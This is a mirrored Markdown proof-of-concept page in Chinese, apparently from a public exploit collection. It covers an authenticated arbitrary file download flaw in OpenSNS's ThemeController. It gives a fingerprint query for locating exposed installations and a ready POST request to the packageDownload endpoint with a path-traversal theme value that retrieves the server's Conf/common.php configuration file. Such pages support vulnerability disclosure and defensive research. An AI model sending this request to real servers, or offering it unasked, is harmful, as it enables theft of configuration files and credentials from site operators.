mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
41 lines
843 B
Markdown
41 lines
843 B
Markdown
|
# OpenSNS ThemeController.class.php 后台任意文件下载漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
OpenSNS ThemeController.class.php文件中存在文件下载，其中过滤不足导致可以下载服务器任意文件
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
OpenSNS
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
icon_hash="1167011145"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
登录页面如下
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
存在漏洞的文件为 `Application/Admin/Model/ThemeController.class.php`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
其中 theme参数为用户可控参数，根据函数流程可以发现存在的文件将会打包为 zip文件提供下载
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
构造请求
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /admin.php?s=/theme/packageDownload
|
|||
|
|
|
|||
|
|
theme=../Conf/common.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|